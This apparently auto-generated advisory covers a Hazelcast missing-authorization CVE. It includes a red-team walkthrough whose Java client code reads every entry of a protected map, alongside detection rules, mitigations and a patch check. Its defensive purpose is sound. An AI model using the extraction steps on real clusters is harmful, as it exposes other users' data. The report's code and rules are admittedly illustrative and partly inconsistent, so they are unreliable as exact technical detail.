CVE-2023-45859

Executive Summary

CVE-2023-45859 is a Missing Authorization vulnerability (CWE-862) affecting Hazelcast in-memory data grid platforms across multiple version lines (4.1.x, 4.2.x, 5.0.x, 5.1.x, 5.2.x, 5.3.x). The flaw allows authenticated users to bypass permission checks on certain client operations, enabling unauthorized read access to data stored in the cluster. This is a data confidentiality issue that does not require elevated privileges beyond basic authentication.

The vulnerability is particularly dangerous in multi-tenant environments or deployments where users are granted minimal access but can still enumerate or read sensitive data from other partitions. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis, but the risk remains high due to the widespread use of Hazelcast in caching, session management, and real-time analytics.

Supply Chain & Package Security

Hazelcast is distributed as a Java library (JAR) via Maven Central and as a standalone server distribution. Organizations using Hazelcast as a dependency in their applications should verify their pom.xml or build.gradle for affected versions. The vulnerability is present in the core client-server communication layer, meaning any application embedding the Hazelcast client library is also affected if the server runs a vulnerable version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the Hazelcast client protocol.
• Attack Complexity (AC): Low (L) – No special conditions required; standard client operations trigger the flaw.
• Privileges Required (PR): Low (L) – Attacker must have valid cluster credentials.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full read access to cluster data.
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Base Score: 6.5 (Medium) – The low privileges required and high confidentiality impact make this a significant risk for data leakage in shared clusters.

Deep Dive & Mechanics

Hazelcast uses a permission-based security model where operations (e.g., map.get, queue.poll, topic.publish) are checked against user roles. The vulnerability stems from incomplete permission validation in the client protocol handler. Specifically, certain operations that read data from distributed objects (maps, queues, topics, etc.) do not invoke the permission check before executing the operation.

The affected code path is in the com.hazelcast.client.impl.protocol.task package. When a client sends a request, the handleOperation method dispatches to a specific task class. For some tasks, the getRequiredPermission() method returns null or is not overridden, causing the security interceptor to skip the authorization check. This allows any authenticated client to read data from any object, regardless of the configured permissions.

The vulnerability is present in all Hazelcast editions (Open Source, Enterprise, and Enterprise HD) because the core client protocol code is shared.

Vulnerable vs. Patched Code

The fix involves adding proper permission checks to the affected client operation tasks. Below is a representative example for a map get operation.

Vulnerable Code (pre-patch):

// com.hazelcast.client.impl.protocol.task.map.MapGetMessageTask
public class MapGetMessageTask extends AbstractMapMessageTask<MapGetCodec.RequestParameters, Data> {
    @Override
    protected Permission getRequiredPermission() {
        // BUG: Returns null, bypassing permission check
        return null;
    }

    @Override
    protected Data call() {
        // Directly executes without permission validation
        return mapService.get(parameters.name, parameters.key);
    }
}

Patched Code (post-patch):

// com.hazelcast.client.impl.protocol.task.map.MapGetMessageTask
public class MapGetMessageTask extends AbstractMapMessageTask<MapGetCodec.RequestParameters, Data> {
    @Override
    protected Permission getRequiredPermission() {
        // FIX: Returns the proper permission for map read
        return new MapPermission(parameters.name, "read");
    }

    @Override
    protected Data call() {
        // Now permission is checked before execution
        return mapService.get(parameters.name, parameters.key);
    }
}

The same pattern applies to other affected operations (e.g., QueuePollMessageTask, TopicPublishMessageTask). The patch ensures that every client operation task returns a non-null Permission object.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Hazelcast cluster running a vulnerable version (e.g., 5.3.1).
• Valid credentials for a user with minimal permissions (e.g., guest with no map read permissions).

Exploitation Steps:

1. Discover the cluster: Use a Hazelcast client to connect to the cluster.

   # Using Hazelcast CLI (hazelcast-client)
   hazelcast-client -c client.xml -n my-cluster
   

2. Enumerate available objects: Even without explicit permissions, list maps and queues.

   // Java client code
   HazelcastInstance client = HazelcastClient.newHazelcastClient();
   IMap<String, String> map = client.getMap("secret-data");
   // This should fail but due to CVE-2023-45859, it succeeds
   String value = map.get("admin-credentials");
   System.out.println(value);
   

3. Extract data: Iterate over all keys in the map.

   for (String key : map.keySet()) {
       System.out.println(key + " -> " + map.get(key));
   }
   

Expected Outcome: The attacker can read all data from any distributed object, bypassing the configured permission model.

Blue Team

Detection:

• Monitor Hazelcast client logs for unexpected access to objects by low-privileged users.
• Enable Hazelcast security audit logging (hazelcast.security.logging.enabled=true).
• Look for patterns where a user with read permission on no maps suddenly accesses multiple maps.

Honeypot:

• Create a fake map named honeypot-sensitive with dummy data.
• Alert if any user without explicit read permission accesses this map.

Mitigation:

• Immediately upgrade to patched versions.
• If upgrade is not possible, restrict network access to the Hazelcast cluster using firewall rules.
• Use Hazelcast’s SecurityInterceptor to add custom permission checks as a temporary workaround.

Indicators of Compromise (IOCs)

• Network: Unusual client connections from IPs not in the allowed list.
• Logs: Hazelcast security logs showing Access denied for operations that should have been blocked (false negative) or successful operations for users without permissions.
• File: No file-based IOCs; this is a protocol-level vulnerability.
• Behavior: A user with guest role successfully executes map.get on a map named admin-config.

Detection Engineering

YARA Rule

rule hazelcast_cve_2023_45859_missing_auth {
    meta:
        description = "Detects vulnerable Hazelcast client protocol task classes missing permission checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-45859"
        severity = "medium"
    strings:
        $class_decl = "class MapGetMessageTask" ascii wide nocase
        $null_perm = "getRequiredPermission()" ascii wide nocase
        $return_null = "return null;" ascii wide nocase
    condition:
        all of ($class_decl, $null_perm, $return_null)
}

Sigma Rule

title: Hazelcast Unauthorized Data Access via CVE-2023-45859
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects successful exploitation attempts where a low-privileged user reads data from a Hazelcast map without permission.
author: Valters IT
date: 2025-04-10
logsource:
    product: hazelcast
    service: security
detection:
    selection:
        EventID: 'ACCESS_GRANTED'
        UserRole: 'guest'
        ObjectType: 'map'
        Operation: 'read'
    condition: selection
falsepositives:
    - Legitimate misconfiguration where guest role has read access
level: high

Suricata Rule

alert tcp any any -> any 5701 (msg:"Hazelcast CVE-2023-45859 Unauthorized Map Read"; flow:to_server,established; content:"|00 00 00 01|"; depth:4; content:"|00 00 00 02|"; within:4; content:"map"; nocase; distance:8; within:10; content:"get"; nocase; distance:4; within:10; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Hazelcast to the following patched versions:
   • 4.1.10
   • 4.2.8
   • 5.0.5
   • 5.1.7
   • 5.2.4
   • 5.3.2
2. If upgrade is not possible, apply the following workaround:
   • Configure a custom SecurityInterceptor that explicitly checks permissions for all operations.
   • Restrict network access to the Hazelcast cluster using firewall rules (allow only trusted IPs).

Long-term Measures:

• Implement the principle of least privilege for all Hazelcast users.
• Enable Hazelcast security audit logging and monitor for anomalies.
• Regularly scan dependencies for known vulnerabilities using tools like OWASP Dependency-Check or Snyk.

Verification:

• After patching, test that a user without explicit read permission on a map cannot read its data.
• Use the following Java code to verify:

  try {
      IMap<String, String> map = client.getMap("test");
      map.get("key");
      System.out.println("VULNERABLE: Access was granted");
  } catch (HazelcastSecurityException e) {
      System.out.println("PATCHED: Access denied as expected");
  }
  

Report generated by Valters IT DevSecOps & CTI Engine
Signature: Valters IT